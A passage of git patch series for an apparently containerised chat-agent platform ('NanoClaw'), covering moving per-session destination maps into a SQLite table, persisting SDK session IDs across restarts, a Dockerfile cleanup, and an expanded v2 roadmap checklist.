narrate. Just do it and put the result in your final response. +- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") so the user knows you got the message. - **Long-running work (many minutes, multi-step tasks):** Send periodic updates at natural milestones, and especially **before** slow operations like spinning up an explore sub-agent, downloading large files, or installing packages. **Never narrate micro-steps.** "I'm going to read the file now… okay, I'm reading it… now I'm parsing it…" is noise. Updates should mark meaningful transitions, not every tool call. @@ -42,12 +41,12 @@ Use the `mcp__nanoclaw__send_message` tool to send a message mid-work (before yo ### Internal thoughts -If part of your output is internal reasoning rather than something for the reader, wrap it in `` tags — or just leave it as plain text outside any `` block. Both are scratchpad. +Wrap reasoning in `...` tags to mark it as scratchpad — logged but not sent. With multiple destinations, any text outside of `` blocks is also treated as scratchpad. With a single destination, only explicit `` tags are scratchpad; the rest of your response is sent. ``` Compiled all three reports, ready to summarize. -Here are the key findings from the research… +Here are the key findings from the research… ``` ### Sub-agents and teammates From b591d7ce96323599e697a5de73600a1bd5d78311 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 10 Apr 2026 16:45:53 +0300 Subject: [PATCH 104/485] refactor: move destinations from JSON file into inbound.db MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The per-session destination map was being written as a sidecar JSON file (/workspace/.nanoclaw-destinations.json) — inconsistent with the rest of v2, where all host↔container IO goes through inbound.db / outbound.db. Move it into a `destinations` table in INBOUND_SCHEMA. The host writes it before every container wake AND on demand (e.g. after create_agent) so the creator sees the new child destination mid-session without a restart. The container queries the table live on every lookup — no cache, no staleness window. - src/db/schema.ts: add `destinations` table to INBOUND_SCHEMA. - src/session-manager.ts: writeDestinationsFile → writeDestinations, writes via DELETE + INSERT inside a transaction. - src/delivery.ts: create_agent handler calls writeDestinations on the creator's session after inserting the new destination rows. - container/agent-runner/src/destinations.ts: queries inbound.db directly in every findByName/getAllDestinations/findByRouting call. No more cache. No setDestinationsForTest (obsolete). No fs import. - container/agent-runner/src/index.ts and mcp-tools/index.ts: remove loadDestinations() calls — no longer needed. - Test helper initTestSessionDb creates the destinations table. Integration test inserts a row directly instead of mocking the cache. No backwards compatibility: sessions predating the schema update must be recreated. This is fine on the v2 branch. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/connection.ts | 8 ++ container/agent-runner/src/destinations.ts | 84 +++++++++++-------- container/agent-runner/src/index.ts | 5 +- .../agent-runner/src/integration.test.ts | 19 ++--- container/agent-runner/src/mcp-tools/index.ts | 5 -- src/container-runner.ts | 6 +- src/db/schema.ts | 15 +++- src/delivery.ts | 5 ++ src/session-manager.ts | 64 ++++++++++---- 9 files changed, 132 insertions(+), 79 deletions(-) diff --git a/container/agent-runner/src/db/connection.ts b/container/agent-runner/src/db/connection.ts index 0877531..954ebbc 100644 --- a/container/agent-runner/src/db/connection.ts +++ b/container/agent-runner/src/db/connection.ts @@ -95,6 +95,14 @@ export function initTestSessionDb(): { inbound: Database.Database; outbound: Dat status TEXT NOT NULL DEFAULT 'delivered', delivered_at TEXT NOT NULL ); + CREATE TABLE destinations ( + name TEXT PRIMARY KEY, + display_name TEXT, + type TEXT NOT NULL, + channel_type TEXT, + platform_id TEXT, + agent_group_id TEXT + ); `); _outbound = new Database(':memory:'); diff --git a/container/agent-runner/src/destinations.ts b/container/agent-runner/src/destinations.ts index 57f151d..d525cf1 100644 --- a/container/agent-runner/src/destinations.ts +++ b/container/agent-runner/src/destinations.ts @@ -1,11 +1,16 @@ /** - * Destination map loaded at container startup from - * /workspace/.nanoclaw-destinations.json (written by the host on wake). + * Destination map — lives in inbound.db's `destinations` table. * - * The map is BOTH the routing table and the ACL — if a name/target - * isn't in here, the agent can't reach it. + * The host writes this table before every container wake AND on demand + * (e.g. when a new child agent is created mid-session). The container + * queries the table live on every lookup, so admin changes take effect + * immediately — no restart required. + * + * This table is BOTH the routing map and the container-visible ACL. + * The host re-validates on the delivery side against the central DB, + * so even if this table is stale the host's enforcement is authoritative. */ -import fs from 'fs'; +import { getInboundDb } from './db/connection.js'; export interface DestinationEntry { name: string; @@ -16,36 +21,34 @@ export interface DestinationEntry { agentGroupId?: string; } -const DEST_FILE = '/workspace/.nanoclaw-destinations.json'; +interface DestRow { + name: string; + display_name: string | null; + type: 'channel' | 'agent'; + channel_type: string | null; + platform_id: string | null; + agent_group_id: string | null; +} -let cache: DestinationEntry[] = []; - -export function loadDestinations(): void { - try { - if (!fs.existsSync(DEST_FILE)) { - cache = []; - return; - } - const raw = fs.readFileSync(DEST_FILE, 'utf-8'); - const parsed = JSON.parse(raw) as { destinations?: DestinationEntry[] }; - cache = Array.isArray(parsed.destinations) ? parsed.destinations : []; - } catch (err) { - console.error(`[destinations] Failed to load: ${err instanceof Error ? err.message : String(err)}`); - cache = []; - } +function rowToEntry(row: DestRow): DestinationEntry { + return { + name: row.name, + displayName: row.display_name ?? row.name, + type: row.type, + channelType: row.channel_type ?? undefined, + platformId: row.platform_id ?? undefined, + agentGroupId: row.agent_group_id ?? undefined, + }; } export function getAllDestinations(): DestinationEntry[] { - return cache; -} - -/** Test-only: inject destinations without touching the filesystem. */ -export function setDestinationsForTest(destinations: DestinationEntry[]): void { - cache = destinations; + const rows = getInboundDb().prepare('SELECT * FROM destinations ORDER BY name').all() as DestRow[]; + return rows.map(rowToEntry); } export function findByName(name: string): DestinationEntry | undefined { - return cache.find((d) => d.name === name); + const row = getInboundDb().prepare('SELECT * FROM destinations WHERE name = ?').get(name) as DestRow | undefined; + return row ? rowToEntry(row) : undefined; } /** @@ -57,15 +60,23 @@ export function findByRouting( platformId: string | null | undefined, ): DestinationEntry | undefined { if (!channelType || !platformId) return undefined; - if (channelType === 'agent') { - return cache.find((d) => d.type === 'agent' && d.agentGroupId === platformId); - } - return cache.find((d) => d.type === 'channel' && d.channelType === channelType && d.platformId === platformId); + const db = getInboundDb(); + const row = + channelType === 'agent' + ? (db + .prepare("SELECT * FROM destinations WHERE type = 'agent' AND agent_group_id = ?") + .get(platformId) as DestRow | undefined) + : (db + .prepare("SELECT * FROM destinations WHERE type = 'channel' AND channel_type = ? AND platform_id = ?") + .get(channelType, platformId) as DestRow | undefined); + return row ? rowToEntry(row) : undefined; } /** Generate the system-prompt addendum describing destinations and syntax. */ export function buildSystemPromptAddendum(): string { - if (cache.length === 0) { + const all = getAllDestinations(); + + if (all.length === 0) { return [ '## Sending messages', '', @@ -74,9 +85,8 @@ export function buildSystemPromptAddendum(): string { } // Single-destination shortcut: the agent just writes its response normally. - // No wrapping needed. This preserves the simple case (one user, one channel). - if (cache.length === 1) { - const d = cache[0]; + if (all.length === 1) { + const d = all[0]; const label = d.displayName && d.displayName !== d.name ? ` (${d.displayName})` : ''; return [ '## Sending messages', @@ -90,7 +100,7 @@ export function buildSystemPromptAddendum(): string { } const lines = ['## Sending messages', '', 'You can send messages to the following destinations:', '']; - for (const d of cache) { + for (const d of all) { const label = d.displayName && d.displayName !== d.name ? ` (${d.displayName})` : ''; lines.push(`- \`${d.name}\`${label}`); } diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index 8bada5b..6692d33 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -26,7 +26,7 @@ import fs from 'fs'; import path from 'path'; import { fileURLToPath } from 'url'; -import { buildSystemPromptAddendum, loadDestinations } from './destinations.js'; +import { buildSystemPromptAddendum } from './destinations.js'; import { createProvider, type ProviderName } from './providers/factory.js'; import { runPollLoop } from './poll-loop.js'; @@ -45,9 +45,6 @@ async function main(): Promise { const provider = createProvider(providerName, { assistantName }); - // Load destination map (written by host on every wake) - loadDestinations(); - // Load global CLAUDE.md as additional system context, then append destinations addendum let systemPrompt: string | undefined; if (fs.existsSync(GLOBAL_CLAUDE_MD)) { diff --git a/container/agent-runner/src/integration.test.ts b/container/agent-runner/src/integration.test.ts index 90aae2b..d30f324 100644 --- a/container/agent-runner/src/integration.test.ts +++ b/container/agent-runner/src/integration.test.ts @@ -1,7 +1,6 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { initTestSessionDb, closeSessionDb, getInboundDb, getOutboundDb } from './db/connection.js'; -import { setDestinationsForTest } from './destinations.js'; import { getUndeliveredMessages } from './db/messages-out.js'; import { getPendingMessages } from './db/messages-in.js'; import { MockProvider } from './providers/mock.js'; @@ -9,21 +8,17 @@ import { runPollLoop } from './poll-loop.js'; beforeEach(() => { initTestSessionDb(); - // Provide a test destination map so output parsing can resolve "discord-test" → routing - setDestinationsForTest([ - { - name: 'discord-test', - displayName: 'Discord Test', - type: 'channel', - channelType: 'discord', - platformId: 'chan-1', - }, - ]); + // Seed a destination so output parsing can resolve "discord-test" → routing + getInboundDb() + .prepare( + `INSERT INTO destinations (name, display_name, type, channel_type, platform_id, agent_group_id) + VALUES ('discord-test', 'Discord Test', 'channel', 'discord', 'chan-1', NULL)`, + ) + .run(); }); afterEach(() => { closeSessionDb(); - setDestinationsForTest([]); }); function insertMessage(id: string, content: object, opts?: { platformId?: string; channelType?: string; threadId?: string }) { diff --git a/container/agent-runner/src/mcp-tools/index.ts b/container/agent-runner/src/mcp-tools/index.ts index b011628..b1e7bbd 100644 --- a/container/agent-runner/src/mcp-tools/index.ts +++ b/container/agent-runner/src/mcp-tools/index.ts @@ -9,7 +9,6 @@ import { Server } from '@modelcontextprotocol/sdk/server/index.js'; import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types.js'; -import { loadDestinations } from '../destinations.js'; import type { McpToolDefinition } from './types.js'; import { coreTools } from './core.js'; import { schedulingTools } from './scheduling.js'; @@ -21,10 +20,6 @@ function log(msg: string): void { console.error(`[mcp-tools] ${msg}`); } -// Load the destination map — this process is spawned fresh for each container -// wake, so the map file is always fresh (written by the host before spawn). -loadDestinations(); - // Only admin agents get the create_agent tool. Non-admins never see it in the // listTools response; the host also re-checks permission on receive as defense // in depth (see delivery.ts create_agent handler). diff --git a/src/container-runner.ts b/src/container-runner.ts index ac4d2cf..9881ca2 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -20,7 +20,7 @@ import { markContainerRunning, markContainerStopped, sessionDir, - writeDestinationsFile, + writeDestinations, } from './session-manager.js'; import type { AgentGroup, Session } from './types.js'; @@ -59,8 +59,8 @@ export async function wakeContainer(session: Session): Promise { return; } - // Refresh the destination map file so any admin changes take effect on wake - writeDestinationsFile(agentGroup.id, session.id); + // Refresh the destination map so any admin changes take effect on wake + writeDestinations(agentGroup.id, session.id); const mounts = buildMounts(agentGroup, session); const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`; diff --git a/src/db/schema.ts b/src/db/schema.ts index d2ed36a..08bc95d 100644 --- a/src/db/schema.ts +++ b/src/db/schema.ts @@ -76,7 +76,7 @@ CREATE TABLE pending_questions ( * outbound.db — container writes, host reads (read-only open) */ -/** Host-owned: inbound messages + delivery tracking. */ +/** Host-owned: inbound messages + delivery tracking + destination map. */ export const INBOUND_SCHEMA = ` CREATE TABLE messages_in ( id TEXT PRIMARY KEY, @@ -101,6 +101,19 @@ CREATE TABLE delivered ( status TEXT NOT NULL DEFAULT 'delivered', delivered_at TEXT NOT NULL ); + +-- Destination map for this session's agent. +-- Host overwrites on every container wake AND on demand (admin rewires, new child agents, etc.). +-- Container queries this live on every lookup, so admin changes take effect +-- mid-session without requiring a container restart. +CREATE TABLE destinations ( + name TEXT PRIMARY KEY, + display_name TEXT, + type TEXT NOT NULL, -- 'channel' | 'agent' + channel_type TEXT, -- for type='channel' + platform_id TEXT, -- for type='channel' + agent_group_id TEXT -- for type='agent' +); `; /** Container-owned: outbound messages + processing acknowledgments. */ diff --git a/src/delivery.ts b/src/delivery.ts index 2c44941..4d60715 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -35,6 +35,7 @@ import { sessionDir, inboundDbPath, resolveSession, + writeDestinations, writeSessionMessage, writeSystemResponse, } from './session-manager.js'; @@ -611,6 +612,10 @@ async function handleSystemAction( created_at: now, }); + // Refresh the creator's destination map so the new child appears + // immediately on the next query — no restart needed. + writeDestinations(session.agent_group_id, session.id); + // Fire-and-forget notification back to the creator notifyAgent( session, diff --git a/src/session-manager.ts b/src/session-manager.ts index 1bd61be..3267871 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -132,43 +132,73 @@ export function initSessionFolder(agentGroupId: string, sessionId: string): void } /** - * Write the destination map file into the session folder. - * Called before every container wake so admin changes take effect on next start. - * The container loads this at startup to know what destinations exist. + * Write the session's destination map into its inbound.db `destinations` table. + * + * Called before every container wake so admin changes take effect on next start — + * but the container also re-queries on demand, so mid-session admin changes + * (e.g. spawning a new child agent) can also call this to push the new map + * without restarting the container. + * + * Uses DELETE + INSERT in a transaction for a clean overwrite. */ -export function writeDestinationsFile(agentGroupId: string, sessionId: string): void { - const dir = sessionDir(agentGroupId, sessionId); - if (!fs.existsSync(dir)) return; +export function writeDestinations(agentGroupId: string, sessionId: string): void { + const dbPath = inboundDbPath(agentGroupId, sessionId); + if (!fs.existsSync(dbPath)) return; const rows = getDestinations(agentGroupId); - const destinations: Array> = []; + type DestRow = { + name: string; + display_name: string | null; + type: 'channel' | 'agent'; + channel_type: string | null; + platform_id: string | null; + agent_group_id: string | null; + }; + const resolved: DestRow[] = []; for (const row of rows) { if (row.target_type === 'channel') { const mg = getMessagingGroup(row.target_id); if (!mg) continue; - destinations.push({ + resolved.push({ name: row.local_name, - displayName: mg.name ?? row.local_name, + display_name: mg.name ?? row.local_name, type: 'channel', - channelType: mg.channel_type, - platformId: mg.platform_id, + channel_type: mg.channel_type, + platform_id: mg.platform_id, + agent_group_id: null, }); } else if (row.target_type === 'agent') { const ag = getAgentGroup(row.target_id); if (!ag) continue; - destinations.push({ + resolved.push({ name: row.local_name, - displayName: ag.name, + display_name: ag.name, type: 'agent', - agentGroupId: ag.id, + channel_type: null, + platform_id: null, + agent_group_id: ag.id, }); } } - const filePath = path.join(dir, '.nanoclaw-destinations.json'); - fs.writeFileSync(filePath, JSON.stringify({ destinations }, null, 2)); - log.debug('Destination map written', { sessionId, count: destinations.length }); + const db = new Database(dbPath); + db.pragma('journal_mode = DELETE'); + db.pragma('busy_timeout = 5000'); + try { + const tx = db.transaction((entries: DestRow[]) => { + db.prepare('DELETE FROM destinations').run(); + const stmt = db.prepare( + `INSERT INTO destinations (name, display_name, type, channel_type, platform_id, agent_group_id) + VALUES (@name, @display_name, @type, @channel_type, @platform_id, @agent_group_id)`, + ); + for (const e of entries) stmt.run(e); + }); + tx(resolved); + } finally { + db.close(); + } + log.debug('Destination map written', { sessionId, count: resolved.length }); } /** Write a message to a session's inbound DB (messages_in). Host-only. */ From b59216c2999fb973401d4dc892fb714bf1cb60be Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sat, 11 Apr 2026 01:17:42 +0300 Subject: [PATCH 105/485] fix(v2): persist SDK session ID across container restarts The v2 poll loop held the session ID in a local variable, so every container restart started a fresh SDK session even though the .jsonl transcript was still sitting in the shared .claude mount. Store it in outbound.db (container-owned, already per channel/thread), seed the loop on startup, clear on /clear, and recover from stale-session errors the same way v1 did. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/connection.ts | 15 +++++++ .../agent-runner/src/db/session-state.ts | 41 +++++++++++++++++++ container/agent-runner/src/poll-loop.ts | 34 +++++++++++++-- src/db/schema.ts | 9 ++++ 4 files changed, 95 insertions(+), 4 deletions(-) create mode 100644 container/agent-runner/src/db/session-state.ts diff --git a/container/agent-runner/src/db/connection.ts b/container/agent-runner/src/db/connection.ts index 954ebbc..1f1c407 100644 --- a/container/agent-runner/src/db/connection.ts +++ b/container/agent-runner/src/db/connection.ts @@ -38,6 +38,16 @@ export function getOutboundDb(): Database.Database { _outbound.pragma('journal_mode = DELETE'); _outbound.pragma('busy_timeout = 5000'); _outbound.pragma('foreign_keys = ON'); + // Lightweight forward-compat: session_state was added after the initial + // v2 schema, so older session DBs don't have it. Create it on demand + // instead of requiring a formal migration pass. + _outbound.exec(` + CREATE TABLE IF NOT EXISTS session_state ( + key TEXT PRIMARY KEY, + value TEXT NOT NULL, + updated_at TEXT NOT NULL + ); + `); } return _outbound; } @@ -126,6 +136,11 @@ export function initTestSessionDb(): { inbound: Database.Database; outbound: Dat status TEXT NOT NULL, status_changed TEXT NOT NULL ); + CREATE TABLE session_state ( + key TEXT PRIMARY KEY, + value TEXT NOT NULL, + updated_at TEXT NOT NULL + ); `); return { inbound: _inbound, outbound: _outbound }; diff --git a/container/agent-runner/src/db/session-state.ts b/container/agent-runner/src/db/session-state.ts new file mode 100644 index 0000000..a199ae1 --- /dev/null +++ b/container/agent-runner/src/db/session-state.ts @@ -0,0 +1,41 @@ +/** + * Persistent key/value state for the container. Lives in outbound.db + * (container-owned, already scoped per channel/thread). + * + * Primary use: remember the SDK session ID so the agent's conversation + * resumes across container restarts. Cleared by /clear. + */ +import { getOutboundDb } from './connection.js'; + +const SDK_SESSION_KEY = 'sdk_session_id'; + +function getValue(key: string): string | undefined { + const row = getOutboundDb() + .prepare('SELECT value FROM session_state WHERE key = ?') + .get(key) as { value: string } | undefined; + return row?.value; +} + +function setValue(key: string, value: string): void { + getOutboundDb() + .prepare( + 'INSERT OR REPLACE INTO session_state (key, value, updated_at) VALUES (?, ?, ?)', + ) + .run(key, value, new Date().toISOString()); +} + +function deleteValue(key: string): void { + getOutboundDb().prepare('DELETE FROM session_state WHERE key = ?').run(key); +} + +export function getStoredSessionId(): string | undefined { + return getValue(SDK_SESSION_KEY); +} + +export function setStoredSessionId(sessionId: string): void { + setValue(SDK_SESSION_KEY, sessionId); +} + +export function clearStoredSessionId(): void { + deleteValue(SDK_SESSION_KEY); +} diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 83d0316..52b3839 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -2,6 +2,7 @@ import { findByName, getAllDestinations, type DestinationEntry } from './destina import { getPendingMessages, markProcessing, markCompleted, type MessageInRow } from './db/messages-in.js'; import { writeMessageOut } from './db/messages-out.js'; import { touchHeartbeat, clearStaleProcessingAcks } from './db/connection.js'; +import { getStoredSessionId, setStoredSessionId, clearStoredSessionId } from './db/session-state.js'; import { formatMessages, extractRouting, categorizeMessage, type RoutingContext } from './formatter.js'; import type { AgentProvider, AgentQuery, McpServerConfig, ProviderEvent } from './providers/types.js'; @@ -37,9 +38,17 @@ export interface PollLoopConfig { * 6. Loop */ export async function runPollLoop(config: PollLoopConfig): Promise { - let sessionId: string | undefined; + // Resume the SDK session from a prior container run if one was persisted. + // The SDK's .jsonl transcripts live in the shared ~/.claude mount, so the + // conversation history is already on disk — we just need the session ID + // to tell the SDK which one to continue. + let sessionId: string | undefined = getStoredSessionId(); let resumeAt: string | undefined; + if (sessionId) { + log(`Resuming SDK session ${sessionId}`); + } + // Clear leftover 'processing' acks from a previous crashed container. // This lets the new container re-process those messages. clearStaleProcessingAcks(); @@ -104,6 +113,7 @@ export async function runPollLoop(config: PollLoopConfig): Promise { log('Clearing session (resetting sessionId)'); sessionId = undefined; resumeAt = undefined; + clearStoredSessionId(); writeMessageOut({ id: generateId(), kind: 'chat', @@ -159,10 +169,26 @@ export async function runPollLoop(config: PollLoopConfig): Promise { const processingIds = ids.filter((id) => !commandIds.includes(id)); try { const result = await processQuery(query, routing, config, processingIds); - if (result.sessionId) sessionId = result.sessionId; + if (result.sessionId && result.sessionId !== sessionId) { + sessionId = result.sessionId; + setStoredSessionId(sessionId); + } if (result.resumeAt) resumeAt = result.resumeAt; } catch (err) { - log(`Query error: ${err instanceof Error ? err.message : String(err)}`); + const errMsg = err instanceof Error ? err.message : String(err); + log(`Query error: ${errMsg}`); + + // Stale/corrupt session recovery: if the SDK can't find the session + // we asked it to resume, clear the stored ID so the next attempt + // starts fresh. The transcript .jsonl can go missing after a crash + // mid-write, manual deletion, or disk-full. + if (sessionId && /no conversation found|ENOENT.*\.jsonl|session.*not found/i.test(errMsg)) { + log(`Stale session detected (${sessionId}) — clearing for next retry`); + sessionId = undefined; + resumeAt = undefined; + clearStoredSessionId(); + } + // Write error response so the user knows something went wrong writeMessageOut({ id: generateId(), @@ -170,7 +196,7 @@ export async function runPollLoop(config: PollLoopConfig): Promise { platform_id: routing.platformId, channel_type: routing.channelType, thread_id: routing.threadId, - content: JSON.stringify({ text: `Error: ${err instanceof Error ? err.message : String(err)}` }), + content: JSON.stringify({ text: `Error: ${errMsg}` }), }); } diff --git a/src/db/schema.ts b/src/db/schema.ts index 08bc95d..2c40d6e 100644 --- a/src/db/schema.ts +++ b/src/db/schema.ts @@ -140,4 +140,13 @@ CREATE TABLE processing_ack ( status TEXT NOT NULL, status_changed TEXT NOT NULL ); + +-- Persistent key/value state owned by the container. Used (among other things) +-- to store the SDK session ID so the agent's conversation resumes across +-- container restarts. Cleared by /clear. +CREATE TABLE session_state ( + key TEXT PRIMARY KEY, + value TEXT NOT NULL, + updated_at TEXT NOT NULL +); `; From 630dd54ea9972a41371ea6d3f79d98a8c9a3db6a Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sat, 11 Apr 2026 01:18:01 +0300 Subject: [PATCH 106/485] chore(container): drop v1 IPC dirs and update entrypoint comment MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The /workspace/ipc/* tree is a v1 leftover — v2 routes everything through inbound.db / outbound.db. Refresh the surrounding comment to describe what the entrypoint actually does. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/Dockerfile | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/container/Dockerfile b/container/Dockerfile index e8537c3..32ae1a0 100644 --- a/container/Dockerfile +++ b/container/Dockerfile @@ -49,12 +49,13 @@ COPY agent-runner/ ./ RUN npm run build # Create workspace directories -RUN mkdir -p /workspace/group /workspace/global /workspace/extra /workspace/ipc/messages /workspace/ipc/tasks /workspace/ipc/input +RUN mkdir -p /workspace/group /workspace/global /workspace/extra -# Create entrypoint script -# Container input (prompt, group info) is passed via stdin JSON. -# Credentials are injected by the host's credential proxy — never passed here. -# Follow-up messages arrive via IPC files in /workspace/ipc/input/ +# Create entrypoint script. +# The host mounts container/agent-runner/src at /app/src and the entrypoint +# recompiles on startup — this lets host source edits and skill installs +# take effect without rebuilding the image. All IO goes through the session +# DBs (inbound.db / outbound.db) mounted into /workspace. RUN printf '#!/bin/bash\nset -e\ncd /app && npx tsc --outDir /tmp/dist 2>&1 >&2\nln -s /app/node_modules /tmp/dist/node_modules\nchmod -R a-w /tmp/dist\ncat > /tmp/input.json\nnode /tmp/dist/index.js < /tmp/input.json\n' > /app/entrypoint.sh && chmod +x /app/entrypoint.sh # Set ownership to node user (non-root) for writable directories From 9dc8bc5d99a9823b313b2e3d20ffb762a00ace9d Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sat, 11 Apr 2026 01:18:09 +0300 Subject: [PATCH 107/485] =?UTF-8?q?docs(v2):=20expand=20checklist=20?= =?UTF-8?q?=E2=80=94=20chat-first=20setup,=20product=20focus,=20skills=20m?= =?UTF-8?q?arketplace?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Capture the product direction that's been landing in recent work: everything configurable from chat once bootstrap is done, skills as the primary extension mechanism, and mark named destinations / agent self-modification / agent-to-agent comms as complete. Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-checklist.md | 116 +++++++++++++++++++++++++++++++++++++------ 1 file changed, 102 insertions(+), 14 deletions(-) diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index 25437e6..99298c8 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -61,7 +61,39 @@ Status: [x] done, [~] partial, [ ] not started - [x] Agent-shared session mode (cross-channel shared sessions, e.g. GitHub + Slack) - [x] Auto-onboarding on channel registration (/welcome skill triggered on first wiring) - [ ] Setup vs production channel separation -- [ ] Generate visual diagram of customized instance at end of setup + +## Chat-First Setup Flow + +**Goal:** get the user out of Claude Code and into their messaging app as quickly as possible, then enable every part of customization, configuration, and setup from inside the chat app. Claude Code is the bootstrap, not the home. + +- [ ] Minimum-viable bootstrap in Claude Code: install deps, pick one channel, authenticate it, wire it to a default agent group, hand off — nothing else required before the user can leave Claude Code +- [ ] Post-handoff welcome message in the chat app guides the user through remaining setup (channels, skills, integrations, memory, scheduling, etc.) +- [ ] Add more channels from chat (currently requires returning to Claude Code to run `/add-*` skills) +- [ ] Authenticate channels from chat (OAuth/token entry via cards, no terminal required) +- [ ] Wire channels to agent groups from chat (today lives in `/manage-channels` Claude Code skill — port to in-chat flow with isolation-level question cards) +- [ ] Create new agent groups from chat (`create_agent` exists — expose via user-facing flow, not just agent-called tool) +- [ ] Edit agent group CLAUDE.md / instructions from chat +- [ ] Install / uninstall / configure skills from chat (see Skills & Marketplace section) +- [ ] Install / configure MCP servers from chat (see Skills & Marketplace section) +- [ ] Install packages from chat (today agent can request install_packages — expose a direct user-facing "install X" flow) +- [ ] Manage scheduled tasks from chat (list, pause, cancel, edit recurrence) +- [ ] Manage destinations from chat (list, rename, revoke) +- [ ] Manage permissions from chat (admin list, role assignment, approval policies) +- [ ] Trigger /setup, /debug, /customize, /migrate-nanoclaw from chat (today all require Claude Code) +- [ ] View and edit memory from chat +- [ ] Visualize current setup from chat (ties into Container Skills: installation diagram) +- [ ] Export / share setup from chat (ties into Container Skills: end-of-setup diagram + share) +- [ ] Fallback to Claude Code only when a change requires a code edit the agent can't self-apply (and even then, agent should offer to open Claude Code on the user's behalf) + +## Product Focus + +**North star:** prioritize skills, flows, and custom setups. Platform work (channels, routing, session DBs, approval flows, MCP tools) is plumbing — it should reach a "boring and reliable" state and then stop absorbing attention. The interesting surface area is what users can *build on top* of that plumbing: skills that add capabilities, conversational flows that orchestrate those skills, and custom per-user setups that compose channels/agents/skills/memory into something personal. + +- [ ] Every new feature request should be answered first with "is this a skill?" before being answered with "is this a platform change?" +- [ ] Skills should be the primary extension mechanism users and agents reach for — adding, removing, browsing, editing, debugging +- [ ] Flows (multi-step interactive sequences: setup, onboarding, migration, customize, debug) should be authorable as skills rather than hardcoded into the platform +- [ ] Custom setups (diverging from defaults: multiple agents, cross-channel routing, per-group memory, specialist sub-agents) should be composable from existing primitives without touching core platform code +- [ ] Platform-level work gets budgeted against the question: "does this unblock a class of skills/flows/setups that's otherwise impossible?" ## Routing @@ -88,16 +120,20 @@ Status: [x] done, [~] partial, [ ] not started ## MCP Tools (Container) -- [x] send_message (text, optional cross-channel targeting) +- [x] send_message (routes via named destinations; `to` field resolved against agent's local map) - [x] send_file (copy to outbox, write messages_out) -- [x] edit_message -- [x] add_reaction +- [x] edit_message (routed via destinations) +- [x] add_reaction (routed via destinations) - [x] send_card - [x] ask_user_question (blocking poll for response) - [x] schedule_task (with process_after and recurrence) - [x] list_tasks - [x] cancel_task / pause_task / resume_task -- [x] send_to_agent (writes message, routing incomplete) +- [x] create_agent (admin-only, creates agent group + folder + bidirectional destinations) +- [x] install_packages (apt/npm, admin approval required, strict name validation) +- [x] add_mcp_server (admin approval required) +- [x] request_rebuild (rebuilds per-agent-group Docker image) +- ~~send_to_agent~~ — deleted; agents are just destinations in the unified `send_message` ## Scheduling @@ -111,12 +147,19 @@ Status: [x] done, [~] partial, [ ] not started - [x] Admin user ID per group - [x] Admin-only command filtering in container -- [ ] Approval flow (sensitive action -> card to admin -> approve/reject -> execute) +- [x] Approval flow (sensitive action -> card to admin -> approve/reject -> execute) — `pending_approvals` table, `requestApproval()` helper, reuses interactive card infra +- [x] Agent requests dependency/package install (install_packages, admin approval, rebuild on approval) +- [x] Self-modification — direct tools: + - [x] install_packages (apt/npm, admin approval, name validation both sides, max 20 per request) + - [x] add_mcp_server (admin approval) + - [x] request_rebuild (builds per-agent-group Docker image with approved packages) + - [x] Fire-and-forget model (write request, return immediately; chat notification on approval; container killed so next wake picks up new config/image) - [ ] Role definitions beyond admin (custom roles, per-group permissions) -- [ ] Configurable sensitive action list +- [ ] Configurable sensitive action list (hardcoded today) - [ ] Non-main groups requesting sensitive actions -- [ ] Agent requests dependency/package install (persists via Dockerfile change, requires approval) -- [ ] Agent self-modification flow: +- [ ] OneCLI integration for human-loop approvals on credentialed requests (agent touching a credentialed resource → OneCLI gates → approval card to admin → OneCLI releases credential) +- [ ] Sensitive data access flow (agent requests PII / secrets / private files → approval card → scoped, time-limited access) +- [ ] Self-modification via builder-agent delegation: - [ ] Agent requests code changes by delegating to a builder agent - [ ] Builder agent has write access to the requesting agent's code and Dockerfile - [ ] Approval modes: approve per-edit as builder works, or approve full diff at the end @@ -124,14 +167,32 @@ Status: [x] done, [~] partial, [ ] not started - [ ] On approval: apply edits, rebuild container image, restart agent - [ ] On rejection: discard changes, notify requesting agent +## Named Destinations + ACL + +- [x] `agent_destinations` table (agent_group_id, local_name, target_type, target_id) — migration 004 +- [x] Per-agent local-name routing map (channels and peer agents referenced by local names) +- [x] Destinations stored in inbound.db `destinations` table (moved from JSON file in `b591d7c`) — single source of truth, no separate file +- [x] Host writes the destination map into inbound.db before every container wake; container queries it live on every lookup so admin changes take effect mid-session +- [x] Container loads map at startup, appends system-prompt addendum listing destinations + `` syntax +- [x] Agent main output parsed for `` blocks; `...` treated as scratchpad +- [x] Host re-validates every outbound route via `hasDestination()` — unauthorized drops logged +- [x] Inbound formatter adds `from="name"` via reverse-lookup (consistent namespace both directions) +- [x] Single-destination shortcut — agents with one destination don't need `` wrapping +- [x] Backfill from existing `messaging_group_agents` on migration +- [x] 